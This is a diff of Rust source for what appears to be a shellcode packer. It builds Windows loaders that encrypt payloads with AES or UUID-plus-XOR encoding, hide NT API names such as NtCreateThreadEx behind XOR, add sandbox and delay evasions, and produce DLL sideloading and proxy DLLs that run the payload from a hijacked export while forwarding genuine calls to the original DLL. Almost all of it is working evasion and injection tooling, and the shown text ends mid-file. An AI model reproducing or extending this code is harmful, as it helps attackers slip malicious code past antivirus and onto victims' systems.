use crate::techniques::{self, BuildContext, Category};
|
||||
use fs_extra::dir::{copy, CopyOptions};
|
||||
use std::collections::HashMap;
|
||||
use std::fs::{self, OpenOptions};
|
||||
use std::io::prelude::*;
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::time::{SystemTime, UNIX_EPOCH};
|
||||
|
||||
use crate::tools::random_u8;
|
||||
|
||||
const OUTPUT_DIR: &str = "shared";
|
||||
|
||||
fn obfuscate_api_name(name: &str, key: u8) -> String {
|
||||
let bytes: Vec<String> = name.bytes().map(|b| format!("0x{:02x}", b ^ key)).collect();
|
||||
format!("[{}]", bytes.join(", "))
|
||||
}
|
||||
|
||||
fn non_zero_random_key() -> u8 {
|
||||
loop { let k = random_u8(); if k != 0 { return k; } }
|
||||
}
|
||||
|
||||
fn search_and_replace(path: &Path, search: &str, replace: &str) -> Result<(), Box<dyn std::error::Error>> {
|
||||
let file_content = fs::read_to_string(path)?;
|
||||
let new_content = file_content.replace(search, replace);
|
||||
let mut file = OpenOptions::new().write(true).truncate(true).open(path)?;
|
||||
file.write_all(new_content.as_bytes())?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn create_root_folder(parent: &Path) -> Result<PathBuf, Box<dyn std::error::Error>> {
|
||||
let timestamp = SystemTime::now().duration_since(UNIX_EPOCH)?.as_secs();
|
||||
let folder_name = format!("output_{}", timestamp);
|
||||
crate::blog!("[+] Creating output folder: {}", &folder_name);
|
||||
let result_path = parent.join(folder_name);
|
||||
fs::create_dir_all(&result_path)?;
|
||||
Ok(result_path)
|
||||
}
|
||||
|
||||
fn copy_template(source: &Path, dest: &Path) -> Result<(), Box<dyn std::error::Error>> {
|
||||
let options = CopyOptions { content_only: true, ..Default::default() };
|
||||
copy(source, dest, &options)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn default_replacements(order: &Order) -> HashMap<&'static str, String> {
|
||||
let mut r: HashMap<&'static str, String> = HashMap::new();
|
||||
r.insert("{{TARGET_PROCESS}}", "dllhost.exe".to_string()); // overwritten by injection.apply()
|
||||
r.insert("{{SANDBOX}}", String::new());
|
||||
r.insert("{{SANDBOX_IMPORTS}}", String::new());
|
||||
r.insert("{{DLL_MAIN}}", String::new());
|
||||
r.insert("{{DLL_FORMAT}}", String::new());
|
||||
r.insert("{{INJECTION_HELPERS}}", String::new());
|
||||
r.insert("{{CALLBACK_INVOKE}}", String::new());
|
||||
|
||||
// nt_delay evasion placeholders — empty unless the evasion is enabled.
|
||||
r.insert("{{NT_DELAY_AT_START}}", String::new());
|
||||
r.insert("{{NT_DELAY_STEP}}", String::new());
|
||||
r.insert("{{NT_DELAY_FINAL}}", String::new());
|
||||
|
||||
let api_key = non_zero_random_key();
|
||||
r.insert("{{API_KEY}}", format!("0x{:02x}", api_key));
|
||||
r.insert("{{OBF_NT_OPEN_PROCESS}}", obfuscate_api_name("NtOpenProcess", api_key));
|
||||
r.insert("{{OBF_NT_ALLOCATE_VIRTUAL_MEMORY}}", obfuscate_api_name("NtAllocateVirtualMemory", api_key));
|
||||
r.insert("{{OBF_NT_WRITE_VIRTUAL_MEMORY}}", obfuscate_api_name("NtWriteVirtualMemory", api_key));
|
||||
r.insert("{{OBF_NT_PROTECT_VIRTUAL_MEMORY}}", obfuscate_api_name("NtProtectVirtualMemory", api_key));
|
||||
r.insert("{{OBF_NT_CREATE_THREAD_EX}}", obfuscate_api_name("NtCreateThreadEx", api_key));
|
||||
r.insert("{{OBF_NT_QUEUE_APC_THREAD}}", obfuscate_api_name("NtQueueApcThread", api_key));
|
||||
r.insert("{{OBF_NT_TEST_ALERT}}", obfuscate_api_name("NtTestAlert", api_key));
|
||||
r.insert("{{OBF_NT_DELAY_EXECUTION}}", obfuscate_api_name("NtDelayExecution", api_key));
|
||||
|
||||
let _ = order; // reserved for future per-order defaults
|
||||
r
|
||||
}
|
||||
|
||||
fn apply_dll_format(replacements: &mut HashMap<&'static str, String>, main_rs_path: &Path) -> PathBuf {
|
||||
let dll_cargo_conf = "[lib]\ncrate-type = [\"cdylib\"]";
|
||||
replacements.insert("{{DLL_FORMAT}}", dll_cargo_conf.to_string());
|
||||
|
||||
let dll_main_fn = r#"
|
||||
const DLL_PROCESS_ATTACH: u32 = 1;
|
||||
const DLL_PROCESS_DETACH: u32 = 0;
|
||||
|
||||
#[no_mangle]
|
||||
#[allow(non_snake_case, unused_variables, unreachable_patterns)]
|
||||
extern "system" fn DllMain(dll_module: usize, call_reason: u32, _: *mut ()) -> bool {
|
||||
match call_reason {
|
||||
DLL_PROCESS_ATTACH => (),
|
||||
DLL_PROCESS_DETACH => (),
|
||||
_ => ()
|
||||
}
|
||||
true
|
||||
}
|
||||
#[no_mangle] pub extern "C" fn DllRegisterServer() { main() }
|
||||
#[no_mangle] pub extern "C" fn DllGetClassObject() { main() }
|
||||
#[no_mangle] pub extern "C" fn DllUnregisterServer() { main() }
|
||||
#[no_mangle] pub extern "C" fn Run() { main() }
|
||||
"#;
|
||||
replacements.insert("{{DLL_MAIN}}", dll_main_fn.to_string());
|
||||
|
||||
let lib_rs_path = main_rs_path.with_file_name("lib.rs");
|
||||
if let Err(e) = fs::rename(main_rs_path, &lib_rs_path) {
|
||||
panic!("Error while renaming main.rs to lib.rs: {}", e);
|
||||
}
|
||||
lib_rs_path
|
||||
}
|
||||
|
||||
/// DllSideload format: the chosen self-injection technique's `main()` becomes the body
|
||||
/// of the hijacked export. DllMain is a passthrough. Proxy mode forwards non-hijacked
|
||||
/// exports to the original DLL via a `.def` file.
|
||||
fn apply_sideload_format(
|
||||
replacements: &mut HashMap<&'static str, String>,
|
||||
main_rs_path: &Path,
|
||||
folder: &Path,
|
||||
config: &crate::order::SideloadConfig,
|
||||
) -> PathBuf {
|
||||
if let Err(e) = sideload::apply(config, folder, replacements) {
|
||||
panic!("Sideload generation failed: {e}");
|
||||
}
|
||||
|
||||
let lib_rs_path = main_rs_path.with_file_name("lib.rs");
|
||||
if let Err(e) = fs::rename(main_rs_path, &lib_rs_path) {
|
||||
panic!("Error while renaming main.rs to lib.rs: {}", e);
|
||||
}
|
||||
lib_rs_path
|
||||
}
|
||||
|
||||
fn apply_replacements(replacements: &HashMap<&'static str, String>, main_path: &Path, cargo_path: &Path) {
|
||||
for (key, value) in replacements {
|
||||
search_and_replace(main_path, key, value)
|
||||
.unwrap_or_else(|e| crate::blog!("[!] Warning: template replace failed for {}: {}", key, e));
|
||||
search_and_replace(cargo_path, key, value)
|
||||
.unwrap_or_else(|e| crate::blog!("[!] Warning: cargo replace failed for {}: {}", key, e));
|
||||
}
|
||||
}
|
||||
|
||||
pub fn assemble(order: Order) -> PathBuf {
|
||||
crate::blog!("[+] Assembling Rust code..");
|
||||
|
||||
let folder = create_root_folder(Path::new(OUTPUT_DIR)).expect("Failed to create output folder");
|
||||
let src_dir = folder.join("src");
|
||||
|
||||
let mut ctx = BuildContext {
|
||||
shellcode_path: &order.shellcode_path,
|
||||
output_folder: folder.clone(),
|
||||
src_dir: src_dir.clone(),
|
||||
replacements: default_replacements(&order),
|
||||
template_choice: None,
|
||||
params: &order.params,
|
||||
};
|
||||
|
||||
// 1. Injection technique picks the template + sets target_process.
|
||||
let inj = techniques::find(&order.injection_id)
|
||||
.unwrap_or_else(|| panic!("unknown injection: {}", order.injection_id));
|
||||
inj.apply(&mut ctx).expect("injection apply failed");
|
||||
|
||||
let template_name = ctx.template_choice.expect("injection did not set template");
|
||||
let template_path = PathBuf::from("templates").join(template_name).join(".");
|
||||
copy_template(&template_path, &folder).expect("Failed to copy template");
|
||||
|
||||
// 2. Encryption technique writes the encrypted file + decryption replacements.
|
||||
let enc = techniques::find(&order.encryption_id)
|
||||
.unwrap_or_else(|| panic!("unknown encryption: {}", order.encryption_id));
|
||||
enc.apply(&mut ctx).expect("encryption apply failed");
|
||||
|
||||
// 3. Each enabled evasion technique adds its replacements.
|
||||
for ev_id in &order.evasions {
|
||||
let ev = techniques::find(ev_id)
|
||||
.unwrap_or_else(|| panic!("unknown evasion: {}", ev_id));
|
||||
ev.apply(&mut ctx).expect("evasion apply failed");
|
||||
}
|
||||
|
||||
let main_rs = src_dir.join("main.rs");
|
||||
let cargo_toml = folder.join("Cargo.toml");
|
||||
|
||||
let target_file = match order.format {
|
||||
OutputFormat::Exe => main_rs,
|
||||
OutputFormat::Dll => apply_dll_format(&mut ctx.replacements, &main_rs),
|
||||
OutputFormat::DllSideload => {
|
||||
let config = order
|
||||
.sideload
|
||||
.as_ref()
|
||||
.expect("DllSideload format requires a SideloadConfig in the Order");
|
||||
apply_sideload_format(&mut ctx.replacements, &main_rs, &folder, config)
|
||||
}
|
||||
};
|
||||
|
||||
apply_replacements(&ctx.replacements, &target_file, &cargo_toml);
|
||||
|
||||
// Sanity check
|
||||
let _ = Category::Encryption; // imported above, ensures `techniques` is in scope
|
||||
|
||||
crate::blog!("[+] Done assembling Rust code!");
|
||||
folder
|
||||
}
|
||||
@@ -0,0 +1,45 @@
|
||||
use std::path::Path;
|
||||
|
||||
pub fn read_shellcode(file_path: &Path) -> Vec<u8> {
|
||||
crate::blog!("[+] Reading binary file..");
|
||||
match std::fs::read(file_path) {
|
||||
Ok(bytes) => {
|
||||
crate::blog!("[+] Done reading binary file!");
|
||||
bytes
|
||||
}
|
||||
Err(err) => panic!("Failed to read shellcode file {:?}: {}", file_path, err),
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use std::fs;
|
||||
|
||||
#[test]
|
||||
fn test_read_shellcode_content() {
|
||||
let dir = std::env::temp_dir().join("rustpacker_test_reader");
|
||||
fs::create_dir_all(&dir).unwrap();
|
||||
let path = dir.join("test.bin");
|
||||
let content: Vec<u8> = vec![0xDE, 0xAD, 0xBE, 0xEF];
|
||||
fs::write(&path, &content).unwrap();
|
||||
|
||||
let result = read_shellcode(&path);
|
||||
assert_eq!(result, content);
|
||||
|
||||
fs::remove_dir_all(&dir).unwrap();
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_read_shellcode_empty() {
|
||||
let dir = std::env::temp_dir().join("rustpacker_test_reader_empty");
|
||||
fs::create_dir_all(&dir).unwrap();
|
||||
let path = dir.join("empty.bin");
|
||||
fs::write(&path, &[]).unwrap();
|
||||
|
||||
let result = read_shellcode(&path);
|
||||
assert!(result.is_empty());
|
||||
|
||||
fs::remove_dir_all(&dir).unwrap();
|
||||
}
|
||||
}
|
||||
+309
@@ -0,0 +1,309 @@
|
||||
//! DLL sideloading / proxying generator.
|
||||
//!
|
||||
//! * **Sideload mode** — DLL with stub exports + a hijacked export that
|
||||
//! runs the embedded loader (`main()`). DllMain is a passthrough.
|
||||
//! No original DLL needed; this is a pure replacement attack.
|
||||
//!
|
||||
//! * **Proxy mode** — Same hijack-export trigger, but non-hijacked exports
|
||||
//! are forwarded to the original (renamed) DLL via a `.def` file. A
|
||||
//! `dispatch_call` gateway in lib.rs ensures the payload runs once
|
||||
//! (sync_lock-guarded) while genuine traffic continues. Pulls in
|
||||
//! `dyncvoke` (git), `lazy_static`, and `obfstr`.
|
||||
//!
|
||||
//! The `apply()` entry point writes generated artifacts into `folder` and
|
||||
//! mutates the `replacements` map. Designed to be called from `puzzle::assemble`
|
||||
//! after the chosen injection template + encryption + evasions have done.
|
||||
|
||||
use crate::order::{SideloadConfig, SideloadMode};
|
||||
use crate::pe_parser::{self, DllExport};
|
||||
use anyhow::Context;
|
||||
use std::collections::HashMap;
|
||||
use std::fs;
|
||||
use std::path::Path;
|
||||
|
||||
const CRATE_TYPE_CDYLIB: &str = "[lib]\ncrate-type = [\"cdylib\"]";
|
||||
|
||||
const PROXY_BUILD_RS: &str = r##"use std::{env, path::PathBuf};
|
||||
|
||||
fn main() {
|
||||
if env::var("CARGO_CFG_TARGET_OS").unwrap_or_default() == "windows" {
|
||||
let manifest_dir = env::var("CARGO_MANIFEST_DIR").unwrap();
|
||||
let def_path = PathBuf::from(manifest_dir).join("proxy.def");
|
||||
println!("cargo:rustc-link-arg=/DEF:{}", def_path.display());
|
||||
println!("cargo:rerun-if-changed=proxy.def");
|
||||
}
|
||||
}
|
||||
"##;
|
||||
|
||||
pub fn apply(
|
||||
config: &SideloadConfig,
|
||||
folder: &Path,
|
||||
replacements: &mut HashMap<&'static str, String>,
|
||||
) -> anyhow::Result<()> {
|
||||
let exports = pe_parser::parse_exports(&config.target_dll)
|
||||
.map_err(|e| anyhow::anyhow!("Failed to parse target DLL exports: {e}"))?;
|
||||
let target_stem = pe_parser::dll_stem(&config.target_dll);
|
||||
|
||||
let src_dir = folder.join("src");
|
||||
fs::create_dir_all(&src_dir).context("create src dir")?;
|
||||
|
||||
// 1. Force cdylib crate type.
|
||||
replacements.insert("{{DLL_FORMAT}}", CRATE_TYPE_CDYLIB.to_string());
|
||||
|
||||
// 2. Generate forward.rs (stub functions for all non-hijacked exports).
|
||||
let forward_rs = generate_forward_rs(&exports, &config.hijack_export);
|
||||
fs::write(src_dir.join("forward.rs"), forward_rs).context("write forward.rs")?;
|
||||
|
||||
// 3. Build the lib.rs tail (DllMain + hijack export + optional dispatch_call + mod forward).
|
||||
let dll_block = match config.mode {
|
||||
SideloadMode::Sideload => sideload_block(&config.hijack_export),
|
||||
SideloadMode::Proxy => {
|
||||
let original_dll_path = original_path(config, &target_stem);
|
||||
proxy_block(&config.hijack_export, &original_dll_path, exports.len())
|
||||
}
|
||||
};
|
||||
replacements.insert("{{DLL_MAIN}}", dll_block);
|
||||
|
||||
// 4. Proxy-mode extras: build.rs + proxy.def + dyncvoke/lazy_static deps + import.
|
||||
if matches!(config.mode, SideloadMode::Proxy) {
|
||||
fs::write(folder.join("build.rs"), PROXY_BUILD_RS).context("write build.rs")?;
|
||||
|
||||
let forward_target = forward_target(config, &target_stem);
|
||||
let def_body = generate_def(&exports, &config.hijack_export, &target_stem, &forward_target);
|
||||
fs::write(folder.join("proxy.def"), def_body).context("write proxy.def")?;
|
||||
|
||||
// Merge extra deps into the {{DEPENDENCIES}} placeholder (encryption may have already
|
||||
// populated it).
|
||||
let existing_deps = replacements
|
||||
.get("{{DEPENDENCIES}}")
|
||||
.cloned()
|
||||
.unwrap_or_default();
|
||||
let extra = r#"lazy_static = "1.4"
|
||||
dyncvoke = { git = "https://github.com/Whitecat18/Dyncvoke" }"#;
|
||||
let merged_deps = if existing_deps.is_empty() {
|
||||
extra.to_string()
|
||||
} else {
|
||||
format!("{existing_deps}\n{extra}")
|
||||
};
|
||||
replacements.insert("{{DEPENDENCIES}}", merged_deps);
|
||||
|
||||
// Append lazy_static import to {{IMPORTS}}.
|
||||
let existing_imports = replacements
|
||||
.get("{{IMPORTS}}")
|
||||
.cloned()
|
||||
.unwrap_or_default();
|
||||
let new_imports = if existing_imports.is_empty() {
|
||||
"use lazy_static::lazy_static;".to_string()
|
||||
} else {
|
||||
format!("{existing_imports}\nuse lazy_static::lazy_static;")
|
||||
};
|
||||
replacements.insert("{{IMPORTS}}", new_imports);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn original_path(config: &SideloadConfig, target_stem: &str) -> String {
|
||||
if config.use_absolute_path {
|
||||
// Use the full target DLL path; escape backslashes for Rust string literal.
|
||||
config.target_dll.display().to_string().replace('\\', "\\\\")
|
||||
} else if !config.renamed.trim().is_empty() {
|
||||
config.renamed.trim().to_string()
|
||||
} else {
|
||||
// Sensible default: "<stem>_orig.dll"
|
||||
format!("{target_stem}_orig.dll")
|
||||
}
|
||||
}
|
||||
|
||||
fn forward_target(config: &SideloadConfig, target_stem: &str) -> String {
|
||||
if config.use_absolute_path {
|
||||
// .def forwarder uses the path without extension.
|
||||
let p = config.target_dll.with_extension("");
|
||||
p.display().to_string()
|
||||
} else if !config.renamed.trim().is_empty() {
|
||||
// Strip .dll suffix for .def forwarder.
|
||||
Path::new(config.renamed.trim())
|
||||
.file_stem()
|
||||
.map(|s| s.to_string_lossy().into_owned())
|
||||
.unwrap_or_else(|| format!("{target_stem}_orig"))
|
||||
} else {
|
||||
format!("{target_stem}_orig")
|
||||
}
|
||||
}
|
||||
|
||||
fn generate_forward_rs(exports: &[DllExport], hijack: &str) -> String {
|
||||
let mut out = String::new();
|
||||
out.push_str("// Auto-generated stub functions. The .def file (proxy mode) overrides these\n");
|
||||
out.push_str("// with forwarders; in sideload mode they remain as no-ops so the DLL\n");
|
||||
out.push_str("// still satisfies the host's GetProcAddress lookups.\n\n");
|
||||
for export in exports {
|
||||
if let Some(name) = &export.name {
|
||||
if name != hijack {
|
||||
out.push_str(&format!(
|
||||
"#[no_mangle]\npub unsafe extern \"system\" fn {name}() {{}}\n"
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
fn sideload_block(hijack_export: &str) -> String {
|
||||
format!(
|
||||
r##"
|
||||
const DLL_PROCESS_ATTACH: u32 = 1;
|
||||
const DLL_PROCESS_DETACH: u32 = 0;
|
||||
|
||||
#[no_mangle]
|
||||
#[allow(non_snake_case, unused_variables, unreachable_patterns)]
|
||||
extern "system" fn DllMain(_dll: usize, reason: u32, _r: *mut ()) -> bool {{
|
||||
match reason {{
|
||||
DLL_PROCESS_ATTACH => (),
|
||||
DLL_PROCESS_DETACH => (),
|
||||
_ => ()
|
||||
}}
|
||||
true
|
||||
}}
|
||||
|
||||
#[no_mangle]
|
||||
#[allow(non_snake_case, unused_variables)]
|
||||
pub unsafe extern "system" fn {hijack_export}(
|
||||
_a1: u64, _a2: u64, _a3: u64, _a4: u64, _a5: u64, _a6: u64, _a7: u64, _a8: u64,
|
||||
_a9: u64, _a10: u64, _a11: u64, _a12: u64, _a13: u64, _a14: u64, _a15: u64, _a16: u64,
|
||||
_a17: u64, _a18: u64, _a19: u64, _a20: u64,
|
||||
) -> u64 {{
|
||||
main();
|
||||
1
|
||||
}}
|
||||
|
||||
mod forward;
|
||||
"##
|
||||
)
|
||||
}
|
||||
|
||||
fn proxy_block(hijack_export: &str, original_dll_path: &str, num_exports: usize) -> String {
|
||||
// The dispatch_call gateway runs main() once (sync_lock-guarded) then forwards
|
||||
// calls to the original DLL via dyncvoke. Hijacked export = export_id 0.
|
||||
format!(
|
||||
r##"
|
||||
const DLL_PROCESS_ATTACH: u32 = 1;
|
||||
const DLL_PROCESS_DETACH: u32 = 0;
|
||||
|
||||
#[no_mangle]
|
||||
#[allow(non_snake_case, unused_variables, unreachable_patterns)]
|
||||
extern "system" fn DllMain(_dll: usize, reason: u32, _r: *mut ()) -> bool {{
|
||||
match reason {{
|
||||
DLL_PROCESS_ATTACH => (),
|
||||
DLL_PROCESS_DETACH => (),
|
||||
_ => ()
|
||||
}}
|
||||
true
|
||||
}}
|
||||
|
||||
lazy_static! {{
|
||||
static ref DLL_NAME: String = "{original_dll_path}".to_string();
|
||||
}}
|
||||
|
||||
static mut RP_CALLBACK_TABLE: [usize; {num_exports}] = [0usize; {num_exports}];
|
||||
static RP_SYNC_LOCK: std::sync::Mutex<i32> = std::sync::Mutex::new(0);
|
||||
|
||||
fn rp_dispatch_call(
|
||||
a1: u64, a2: u64, a3: u64, a4: u64, a5: u64, a6: u64, a7: u64, a8: u64,
|
||||
a9: u64, a10: u64, a11: u64, a12: u64, a13: u64, a14: u64, a15: u64, a16: u64,
|
||||
a17: u64, a18: u64, a19: u64, a20: u64,
|
||||
export_id: u32,
|
||||
) -> u64 {{
|
||||
{{
|
||||
let mut guard = RP_SYNC_LOCK.lock().unwrap();
|
||||
if *guard == 0 {{
|
||||
*guard = 1;
|
||||
drop(guard);
|
||||
std::thread::spawn(|| {{ main(); }});
|
||||
}}
|
||||
}}
|
||||
|
||||
unsafe {{
|
||||
if RP_CALLBACK_TABLE[export_id as usize] != 0 {{
|
||||
let target: extern "system" fn(
|
||||
u64, u64, u64, u64, u64, u64, u64, u64, u64, u64,
|
||||
u64, u64, u64, u64, u64, u64, u64, u64, u64, u64,
|
||||
) -> u64 = std::mem::transmute(RP_CALLBACK_TABLE[export_id as usize]);
|
||||
return target(
|
||||
a1, a2, a3, a4, a5, a6, a7, a8, a9, a10,
|
||||
a11, a12, a13, a14, a15, a16, a17, a18, a19, a20,
|
||||
);
|
||||
}}
|
||||
}}
|
||||
|
||||
let proc_name = match export_id {{
|
||||
0 => "{hijack_export}".to_string(),
|
||||
_ => String::new(),
|
||||
}};
|
||||
if proc_name.is_empty() {{
|
||||
return 0;
|
||||
}}
|
||||
|
||||
let dll_name = DLL_NAME.as_str();
|
||||
let module_handle = dyncvoke::dyncvoke_core::load_library_a(dll_name);
|
||||
if module_handle == 0 {{
|
||||
return 0;
|
||||
}}
|
||||
|
||||
let proc_addr = dyncvoke::dyncvoke_core::get_function_address(module_handle, &proc_name);
|
||||
if proc_addr == 0 {{
|
||||
return 0;
|
||||
}}
|
||||
|
||||
unsafe {{
|
||||
RP_CALLBACK_TABLE[export_id as usize] = proc_addr;
|
||||
let target: extern "system" fn(
|
||||
u64, u64, u64, u64, u64, u64, u64, u64, u64, u64,
|
||||
u64, u64, u64, u64, u64, u64, u64, u64, u64, u64,
|
||||
) -> u64 = std::mem::transmute(proc_addr);
|
||||
return target(
|
||||
a1, a2, a3, a4, a5, a6, a7, a8, a9, a10,
|
||||
a11, a12, a13, a14, a15, a16, a17, a18, a19, a20,
|
||||
);
|
||||
}}
|
||||
}}
|
||||
|
||||
#[no_mangle]
|
||||
#[allow(non_snake_case, unused_variables)]
|
||||
pub unsafe extern "system" fn {hijack_export}(
|
||||
a1: u64, a2: u64, a3: u64, a4: u64, a5: u64, a6: u64, a7: u64, a8: u64,
|
||||
a9: u64, a10: u64, a11: u64, a12: u64, a13: u64, a14: u64, a15: u64, a16: u64,
|
||||
a17: u64, a18: u64, a19: u64, a20: u64,
|
||||
) -> u64 {{
|
||||
rp_dispatch_call(
|
||||
a1, a2, a3, a4, a5, a6, a7, a8, a9, a10,
|
||||
a11, a12, a13, a14, a15, a16, a17, a18, a19, a20,
|
||||
0,
|
||||
)
|
||||
}}
|
||||
|
||||
mod forward;
|
||||
"##
|
||||
)
|
||||
}
|
||||
|
||||
fn generate_def(
|
||||
exports: &[DllExport],
|
||||
hijack: &str,
|
||||
target_stem: &str,
|
||||
forward_target: &str,
|
||||
) -> String {
|
||||
let mut def = format!("LIBRARY {target_stem}\nEXPORTS\n");
|
||||
for export in exports {
|
||||
let Some(name) = &export.name else { continue };
|
||||
if name == hijack {
|
||||
// Hijacked export: no forwarder, lib.rs's hijack fn handles it.
|
||||
def.push_str(&format!(" {name} @{}\n", export.ordinal));
|
||||
} else {
|
||||
def.push_str(&format!(
|
||||
" {name}={forward_target}.{name} @{}\n",
|
||||
export.ordinal
|
||||
));
|
||||
}
|
||||
}
|
||||
def
|
||||
}
|
||||
@@ -0,0 +1,47 @@
|
||||
//! Mutable state passed into `Technique::apply` during build assembly.
|
||||
|
||||
use std::collections::HashMap;
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
/// Holds the in-progress build state. Techniques mutate this to:
|
||||
/// - choose which template directory to copy (`set_template`)
|
||||
/// - register placeholder substitutions (`set_replacement`)
|
||||
/// - write files into the output's `src/` directory (`write_src_file`)
|
||||
pub struct BuildContext<'a> {
|
||||
pub shellcode_path: &'a Path,
|
||||
pub output_folder: PathBuf,
|
||||
pub src_dir: PathBuf,
|
||||
pub replacements: HashMap<&'static str, String>,
|
||||
pub template_choice: Option<&'static str>, // template folder name under `templates/`
|
||||
pub params: &'a HashMap<String, String>, // scoped: "<technique_id>.<param_name>"
|
||||
}
|
||||
|
||||
impl<'a> BuildContext<'a> {
|
||||
pub fn set_template(&mut self, template_folder: &'static str) {
|
||||
self.template_choice = Some(template_folder);
|
||||
}
|
||||
|
||||
pub fn set_replacement(&mut self, key: &'static str, value: String) {
|
||||
self.replacements.insert(key, value);
|
||||
}
|
||||
|
||||
/// Concatenate `value` onto the existing replacement for `key` (or insert).
|
||||
/// Used for multi-contributor placeholders like {{SANDBOX}} where each
|
||||
/// evasion technique appends its own check.
|
||||
pub fn append_replacement(&mut self, key: &'static str, value: String) {
|
||||
self.replacements
|
||||
.entry(key)
|
||||
.and_modify(|v| {
|
||||
if !v.is_empty() && !v.ends_with('\n') {
|
||||
v.push('\n');
|
||||
}
|
||||
v.push_str(&value);
|
||||
})
|
||||
.or_insert(value);
|
||||
}
|
||||
|
||||
pub fn param(&self, technique_id: &str, param_name: &str) -> Option<&str> {
|
||||
let key = format!("{}.{}", technique_id, param_name);
|
||||
self.params.get(&key).map(String::as_str)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
|
||||
use crate::tools::{random_aes_iv, random_aes_key};
|
||||
use libaes::Cipher;
|
||||
use std::fs;
|
||||
|
||||
pub struct Aes;
|
||||
|
||||
impl Technique for Aes {
|
||||
fn meta(&self) -> &'static TechniqueMeta { &AES_META }
|
||||
|
||||
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
|
||||
let key = random_aes_key();
|
||||
let iv = random_aes_iv();
|
||||
let shellcode = fs::read(ctx.shellcode_path)
|
||||
.map_err(|e| anyhow::anyhow!("read shellcode: {e}"))?;
|
||||
let cipher = Cipher::new_256(&key);
|
||||
let encrypted = cipher.cbc_encrypt(&iv, &shellcode);
|
||||
|
||||
let out_path = ctx.src_dir.join("input.aes");
|
||||
fs::write(&out_path, &encrypted)
|
||||
.map_err(|e| anyhow::anyhow!("write input.aes: {e}"))?;
|
||||
|
||||
ctx.set_replacement("{{PATH_TO_SHELLCODE}}", "\"input.aes\"".to_string());
|
||||
ctx.set_replacement("{{DECRYPTION_FUNCTION}}",
|
||||
"fn aes_256_decrypt(buf: &[u8], key: &[u8; 32], iv: &[u8; 16]) -> Vec<u8> { let cipher = Cipher::new_256(key); cipher.cbc_decrypt(iv, buf) }".to_string());
|
||||
ctx.set_replacement("{{MAIN}}", format!(
|
||||
"let key: [u8;32] = {:?};\n let iv: [u8;16] = {:?};\n vec = aes_256_decrypt(&vec, &key, &iv);", key, iv
|
||||
));
|
||||
ctx.set_replacement("{{DEPENDENCIES}}", r#"libaes = "0.7""#.to_string());
|
||||
ctx.set_replacement("{{IMPORTS}}", "use libaes::Cipher;".to_string());
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
pub use super::super::AES_META;
|
||||
@@ -0,0 +1,7 @@
|
||||
id = "aes"
|
||||
display_name = "AES-256-CBC — random key per build"
|
||||
description = "Encrypt shellcode with AES-256 in CBC mode using a random key + IV. Key and IV are embedded in the loader."
|
||||
category = "encryption"
|
||||
tags = []
|
||||
requires = []
|
||||
incompatible_with = []
|
||||
@@ -0,0 +1,74 @@
|
||||
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
|
||||
use crate::tools::random_u8;
|
||||
use std::fs;
|
||||
|
||||
pub struct Uuid;
|
||||
|
||||
impl Technique for Uuid {
|
||||
fn meta(&self) -> &'static TechniqueMeta { &UUID_META }
|
||||
|
||||
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
|
||||
let shellcode = fs::read(ctx.shellcode_path)
|
||||
.map_err(|e| anyhow::anyhow!("read shellcode: {e}"))?;
|
||||
let original_len = shellcode.len();
|
||||
let encoded = uuid_encode(&shellcode);
|
||||
|
||||
let xor_key = non_zero_random_key();
|
||||
let masked: Vec<u8> = encoded.bytes().map(|b| b ^ xor_key).collect();
|
||||
|
||||
let out_path = ctx.src_dir.join("input.uuid");
|
||||
fs::write(&out_path, &masked)
|
||||
.map_err(|e| anyhow::anyhow!("write input.uuid: {e}"))?;
|
||||
|
||||
let decryption_function = "fn unmask(buf: &mut Vec<u8>, key: u8) { for b in buf.iter_mut() { *b ^= key; } }
|
||||
fn hex_to_byte(h: u8, l: u8) -> u8 {
|
||||
fn val(c: u8) -> u8 { match c { b'0'..=b'9' => c - b'0', b'a'..=b'f' => c - b'a' + 10, b'A'..=b'F' => c - b'A' + 10, _ => 0 } }
|
||||
(val(h) << 4) | val(l)
|
||||
}
|
||||
fn uuid_decode(buf: &[u8]) -> Vec<u8> {
|
||||
let mut result = Vec::new();
|
||||
let mut i = 0;
|
||||
while i < buf.len() {
|
||||
if buf[i] == b'-' || buf[i] == b'\\n' || buf[i] == b'\\r' { i += 1; continue; }
|
||||
if i + 1 < buf.len() { result.push(hex_to_byte(buf[i], buf[i+1])); i += 2; } else { break; }
|
||||
}
|
||||
result
|
||||
}".to_string();
|
||||
|
||||
ctx.set_replacement("{{PATH_TO_SHELLCODE}}", "\"input.uuid\"".to_string());
|
||||
ctx.set_replacement("{{DECRYPTION_FUNCTION}}", decryption_function);
|
||||
ctx.set_replacement("{{MAIN}}", format!(
|
||||
"unmask(&mut vec, 0x{:02x});\n vec = uuid_decode(&vec);\n vec.truncate({});",
|
||||
xor_key, original_len
|
||||
));
|
||||
ctx.set_replacement("{{DEPENDENCIES}}", String::new());
|
||||
ctx.set_replacement("{{IMPORTS}}", String::new());
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
fn non_zero_random_key() -> u8 {
|
||||
loop { let k = random_u8(); if k != 0 { return k; } }
|
||||
}
|
||||
|
||||
fn bytes_to_uuid(chunk: &[u8; 16]) -> String {
|
||||
format!(
|
||||
"{:02x}{:02x}{:02x}{:02x}-{:02x}{:02x}-{:02x}{:02x}-{:02x}{:02x}-{:02x}{:02x}{:02x}{:02x}{:02x}{:02x}",
|
||||
chunk[0], chunk[1], chunk[2], chunk[3],
|
||||
chunk[4], chunk[5], chunk[6], chunk[7],
|
||||
chunk[8], chunk[9], chunk[10], chunk[11],
|
||||
chunk[12], chunk[13], chunk[14], chunk[15]
|
||||
)
|
||||
}
|
||||
|
||||
